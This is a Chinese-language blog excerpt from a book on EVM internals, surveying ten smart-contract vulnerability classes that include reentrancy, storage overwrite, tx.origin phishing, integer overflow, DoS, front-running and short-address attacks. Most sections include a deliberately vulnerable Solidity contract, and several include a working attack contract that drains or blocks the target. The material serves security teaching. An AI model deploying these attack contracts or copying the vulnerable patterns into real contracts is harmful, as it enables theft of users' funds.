解密智能合約TOP10安全漏洞

以下都是來自我的新書《解密EVM機制及合約安全漏洞》裏的內容

電子版PDF下載:https://download.csdn.net/download/softgmx/10800947

 

重入問題

漏洞成立的條件:

  1. 合約調用帶有足夠的gas
  2. 有轉賬功能(payable)
  3. 狀態變量在重入函數調用之後

底層轉賬函數

防重入

錯誤處理

<address>.call.value()()

NO

返回false

<address>.send()

YES

返回false

<address>.transfer()

YES

Revert stateDB到調用前狀態

<address>.call.value()的實現:

 

<address>.send()的實現:

 

<address>.transfer()的實現:

 

Transfer能在調用失敗時候主動拋出異常的原理:

 

漏洞案例合約:

contract EtherStore {

    uint256  public  withdrawalLimit = 1 ether;

    mapping(address => uint256)  public  lastWithdrawTime;

    mapping(address => uint256)  public  balances;

    function depositFunds()  public  payable {

        balances[msg.sender] += msg.value;

    }

    function withdrawFunds (uint256 _weiToWithdraw)  public {

        require(balances[msg.sender] >= _weiToWithdraw);

        // limit the withdrawal

        require(_weiToWithdraw <= withdrawalLimit);

        // limit the time allowed to withdraw

        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

        require(msg.sender.call.value(_weiToWithdraw)());

        balances[msg.sender] -= _weiToWithdraw;

        lastWithdrawTime[msg.sender] = now;

    }

 }

攻擊合約:

import "EtherStore.sol";

contract Attack {

  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {

      etherStore = EtherStore(_etherStoreAddress);

  }

  function pwnEtherStore()  public  payable {

      require(msg.value >= 1 ether);

      etherStore.depositFunds.value(1 ether)();

      etherStore.withdrawFunds(1 ether);

  }

  function collectEther()  public {

      msg.sender.transfer(this.balance);

  }

  function ()  payable {

      if (etherStore.balance > 1 ether) {

          etherStore.withdrawFunds(1 ether);

      }

  }

}

上面就是著名的針對the DAO合約的攻擊原型,導致了ETH分叉成ETH和ETC。

 

變量覆蓋問題

(1)存儲 hash 碰撞問題

contract PresidentOfCountry {

    struct Person {

        address[] addr;

        uint funds;

    }   

    uint tt=10;

    mapping(address => Person) public people;  

    function f() {

         people[msg.sender].addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,

                                    0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,

                                    0xdd870fa1b7c4700f2bd7f44238821c26f7392148];

         people[msg.sender].funds = 0x10af;

    }

}

看看這份合約的存儲佈局

 

存儲佈局:

address(addr) = sha3(1)+0               

address(addr[0]) = sha3(sha3(1))+0

address(addr[1]) = sha3(sha3(1))+1

address(addr[2]) = sha3(sha3(1))+2

address(funds) = sha3(1)+1   

 

 

(2)函數內未初始化的儲存指針所帶來的覆寫問題:

Solidity語言也允許用戶自定義struct這種複合數據集,如果struct定義在函數內,那麼它爲局部變量且默認使用storage存儲類型(引用類型),但也可顯式指定爲memory存儲類型。

如果在函數內定義一個未初始化struct結構體,它默認是storage pointer類型,而且會指向的是storage[0]的位置,而這個位置卻是第一個全局變量的位置,這樣會導致全局變量被覆寫,從而引發嚴重的安全問題。

 

案例合約:

pragma solidity ^0.4.25;

contract Test {

        address public owner;

        address public a;

        struct Seed {

                address x;

                uint256 y;

        }

        function Test() {

                owner = msg.sender;

                a = 0x1111111111111111111111111111111111111111;

        }

        function fuck_u (uint256 n) public {

                Seed s;

                s.x = msg.sender;

                s.y = n;

        }

}

看看局部變量“Seed s;”的默認類型(https://solidity.readthedocs.io/en/v0.5.0/types.html#structs):

 

調用調用fuck_u方法前:

 

調用fuck_u方法後:

 

邏輯錯誤:

容易引起邏輯錯誤的地方,往往是因爲對EVM底層函數調用機制的不熟悉

調用方法

失敗返回

address.call()

false

address.callcode()

false

address.delegatecall()

false

address.send()

false

address.transfer()

拋出異常,revert StateDB

 

案例:

function withdraw(uint256 _amount) public {

    require(balances[msg.sender] >= _amount);

    balances[msg.sender] -= _amount;

    etherLeft -= _amount;

    msg.sender.send(_amount);  //沒有判斷返回值,可能造成轉賬失敗,但餘額被扣

}

另外,需要注意的是,如果call、callcode、delegatecall、send調用的合約地址不存在,也會返回True,這是EVM實現問題

 

鑑權問題

繞過鑑權通常有以下幾種方法:

  • 利用釣魚bypass掉基於tx.origin的鑑權
  • 利用回調函數bypass掉基於owner的鑑權
  • 通過覆寫storage變量,改變owner的值,能bypass掉所有的鑑權
  • 利用錯誤的構造函數

tx.origin指的是最初始發起調用的地址,如果用戶actor通過合約b調用了合約c,對於合約c來說,tx.origin就是用戶actor,而msg.sender纔是合約b,對於鑑權來說,這是十分危險的,這代表着可能導致的釣魚攻擊。

舉例漏洞合約:

pragma solidity >0.4.24;

contract TxUserWallet {

    address owner;

    constructor() public {

        owner = msg.sender;

    }

    function transferTo(address dest, uint amount) public {

        require(tx.origin == owner);

        dest.transfer(amount);

    }

}

 

構造攻擊合約:

pragma solidity >0.4.24;

interface TxUserWallet {

    function transferTo(address dest, uint amount) external;

}

contract TxAttackWallet {

    address owner;

    constructor() public {

        owner = msg.sender;

    }

function() external {

        //只要引誘用戶Actor給TxAttackWallet合約轉賬就可以成功bypass TxUserWallet合約的鑑權保護。

        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance); 

    }

}

 

整數溢出:

原理介紹:

uint 8:  [0,0xff]

uint 256:[0,0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff ]

 

首先,讓sellerBalance=0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff;

 

然後,加2使uint256發生整數溢出:

 

案例(美鏈):

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {

uint  cnt = _receivers.length;

//可以構造出一個很大的_value與cnt相乘溢出得到一個小於balances[msg.sender]的值,

//這樣能成功繞過後面的界限保護

uint256  amount = uint256(cnt) * _value; 

    require(cnt > 0 && cnt <= 20);

    require(_value > 0 && balances[msg.sender] >= amount);

    balances[msg.sender] = balances[msg.sender].sub(amount);

    for (uint i = 0; i < cnt; i++) {

        balances[_receivers[i]] = balances[_receivers[i]].add(_value);

        Transfer(msg.sender, _receivers[i], _value);

    }

    return true;

 }

 

拒絕服務

核心思想:

  • 讓你程序出現邏輯錯誤
  • 讓你gas燃盡,從而無法後續操作

KingOfEther(國王遊戲)被DoS攻擊的合約:

pragma solidity ^0.4.10;

contract PresidentOfCountry {

    address public president;

    uint256 price;

    function PresidentOfCountry(uint256 _price) {

        require(_price > 0);

        price = _price;

        president = msg.sender;

    }

    function becomePresident() payable {

        require(msg.value >= price); // must pay the price to become president

              //如果攻擊合約讓transfer返回失敗,那麼誰無法替代黑客的國王地位

        president.transfer(price);   // we pay the previous president

        president = msg.sender;      // we crown the new president

        price = price * 2;           // we double the price to become president

    }

}

攻擊合約

contract Attack {

    function () { revert(); }      //讓調用合約永遠返回失敗

    function Attack(address _target) payable {

        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));

    }

}

 

(2)gas燃盡,無法後續操作

contract DistributeTokens {

    address public owner; // gets set somewhere

    address[] investors; // array of investors

    uint[] investorTokens; // the amount of tokens each investor gets

    // ... extra functionality, including transfertoken()

    function invest() public payable {

        investors.push(msg.sender);

        investorTokens.push(msg.value * 5); // 5 times the wei sent

        }

    function distribute() public {

        require(msg.sender == owner); // only owner

        // 通過上面的invest 可以控制investors數組長度,當其長度超過一個閥值,這個distribute方法在for循環處就會因爲gas不足而退出,進而無法完成批量轉賬

        for(uint i = 0; i < investors.length; i++) { 

            // here transferToken(to,amount) transfers "amount" of tokens to the address "to"

            transferToken(investors[i],investorTokens[i]);

        }

    }

}

 

插隊攻擊

兩個要點:

  • 作弊(在pending的block中偷看別人的答案)
  • 提高gas, 優先成交

 

 

僞隨機數問題

礦工可以操縱時間戳

roulette.sol

contract Roulette {

    uint public pastBlockTime; // Forces one bet per block

    constructor() public payable {} // initially fund contract

 

    // fallback function used to make a bet

    function () public payable {

        require(msg.value == 10 ether); // must send 10 ether to play

        //可以通過插隊攻擊來優先成交

        require(now != pastBlockTime); // only 1 transaction per block

        pastBlockTime = now;

        //礦工可以操縱出塊的時間戳,以滿足now(block.timestamp) :  now % 15 == 0

        if(now % 15 == 0) { // winner

            msg.sender.transfer(this.balance);

        }

    }

}

 

以太短地址攻擊

攻擊目標:

  • 交易所

以ERC-20 TOKEN標準的代幣爲例,其transfer方法定義如下:

function transfer(address to, uint tokens) public returns (bool success);

如果我們要給地址0000000000000000000000000123456789012345678901234567890123456700發送2個ETH,

當我們調用transfer函數發送代幣的時候,交易的input數據分爲3個部分(如下圖a):

 

但如果我傳入的地址最後兩位是00的話,可以不寫,這樣合約在解析參數時,會從下一個參數的高位拿到00來補充,而後面的參數不足32字節,會自動在尾部補上00,這樣我們只取2個ETH, 卻拿到了512個ETH.

 

如果不對參數的有效性進行校驗,就自動補齊是非常危險的

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章